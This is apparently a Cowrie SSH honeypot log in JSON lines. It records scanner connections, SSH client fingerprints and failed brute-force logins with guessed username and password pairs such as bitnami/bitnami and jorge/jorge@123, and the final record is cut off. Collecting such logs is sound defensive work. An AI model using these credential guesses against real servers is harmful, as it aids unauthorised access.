{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:52.093222Z","src_ip":"60.199.224.2","session":"779e04b23fda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:52.305133Z","src_ip":"60.199.224.2","session":"779e04b23fda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jorge","password":"jorge@123","message":"login attempt [jorge/jorge@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:53.186195Z","src_ip":"60.199.224.2","session":"779e04b23fda","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:54.113585Z","src_ip":"213.209.159.158","session":"92a4a2bf0c16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:54.116735Z","src_ip":"213.209.159.158","session":"92a4a2bf0c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:35:54.400715Z","src_ip":"60.199.224.2","session":"779e04b23fda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applmgr","password":"applmgr123","message":"login attempt [applmgr/applmgr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:03.886706Z","src_ip":"213.209.159.158","session":"92a4a2bf0c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":48920,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c74b6c01807","protocol":"ssh","message":"New connection: 195.178.110.218:48920 (159.203.135.109:22) [session: 5c74b6c01807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:07.068048Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:07.145614Z","src_ip":"195.178.110.218","session":"5c74b6c01807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:07.432632Z","src_ip":"213.209.159.158","session":"92a4a2bf0c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":56762,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b65487cda46","protocol":"ssh","message":"New connection: 213.209.159.158:56762 (159.203.135.109:22) [session: 4b65487cda46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:07.524061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:09.747597Z","src_ip":"213.209.159.158","session":"4b65487cda46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:09.751513Z","src_ip":"213.209.159.158","session":"4b65487cda46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bridge","password":"bridge123","message":"login attempt [bridge/bridge123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:19.848194Z","src_ip":"213.209.159.158","session":"4b65487cda46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:23.201499Z","src_ip":"213.209.159.158","session":"4b65487cda46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":18390,"dst_ip":"159.203.135.109","dst_port":22,"session":"060ff0520506","protocol":"ssh","message":"New connection: 213.209.159.158:18390 (159.203.135.109:22) [session: 060ff0520506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:23.299974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:25.393848Z","src_ip":"213.209.159.158","session":"060ff0520506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:25.396713Z","src_ip":"213.209.159.158","session":"060ff0520506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":54776,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0955af64d11","protocol":"ssh","message":"New connection: 2.57.122.210:54776 (159.203.135.109:22) [session: b0955af64d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:30.955499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:30.960226Z","src_ip":"2.57.122.210","session":"b0955af64d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:31.059793Z","src_ip":"2.57.122.210","session":"b0955af64d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"elayer","message":"login attempt [ubuntu/elayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:31.358700Z","src_ip":"2.57.122.210","session":"b0955af64d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:32.461118Z","src_ip":"2.57.122.210","session":"b0955af64d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami","message":"login attempt [bitnami/bitnami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:35.550061Z","src_ip":"213.209.159.158","session":"060ff0520506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":38684,"dst_ip":"159.203.135.109","dst_port":22,"session":"4430413afe22","protocol":"ssh","message":"New connection: 34.85.163.94:38684 (159.203.135.109:22) [session: 4430413afe22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:38.060492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:38.065444Z","src_ip":"34.85.163.94","session":"4430413afe22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:38.076869Z","src_ip":"34.85.163.94","session":"4430413afe22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ekp","password":"ekp@123456","message":"login attempt [ekp/ekp@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:38.322693Z","src_ip":"34.85.163.94","session":"4430413afe22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:38.841319Z","src_ip":"213.209.159.158","session":"060ff0520506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":57124,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f17a075b54e","protocol":"ssh","message":"New connection: 213.209.159.158:57124 (159.203.135.109:22) [session: 4f17a075b54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:38.949606Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:39.336535Z","src_ip":"34.85.163.94","session":"4430413afe22","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:41.455779Z","src_ip":"213.209.159.158","session":"4f17a075b54e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:41.458676Z","src_ip":"213.209.159.158","session":"4f17a075b54e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"&","password":"&","message":"login attempt [&/&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:51.178197Z","src_ip":"213.209.159.158","session":"4f17a075b54e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:54.938173Z","src_ip":"213.209.159.158","session":"4f17a075b54e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":23658,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cd096aa198a","protocol":"ssh","message":"New connection: 213.209.159.158:23658 (159.203.135.109:22) [session: 7cd096aa198a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:55.055770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:57.267523Z","src_ip":"213.209.159.158","session":"7cd096aa198a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:36:57.271476Z","src_ip":"213.209.159.158","session":"7cd096aa198a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alice","password":"alice1","message":"login attempt [alice/alice1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:06.917784Z","src_ip":"213.209.159.158","session":"7cd096aa198a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:10.644660Z","src_ip":"213.209.159.158","session":"7cd096aa198a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":51022,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbf51db2679c","protocol":"ssh","message":"New connection: 213.209.159.158:51022 (159.203.135.109:22) [session: bbf51db2679c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:10.749040Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.152.101","src_port":34402,"dst_ip":"159.203.135.109","dst_port":22,"session":"95f381e2e130","protocol":"ssh","message":"New connection: 103.52.152.101:34402 (159.203.135.109:22) [session: 95f381e2e130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:11.397401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:11.402176Z","src_ip":"103.52.152.101","session":"95f381e2e130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh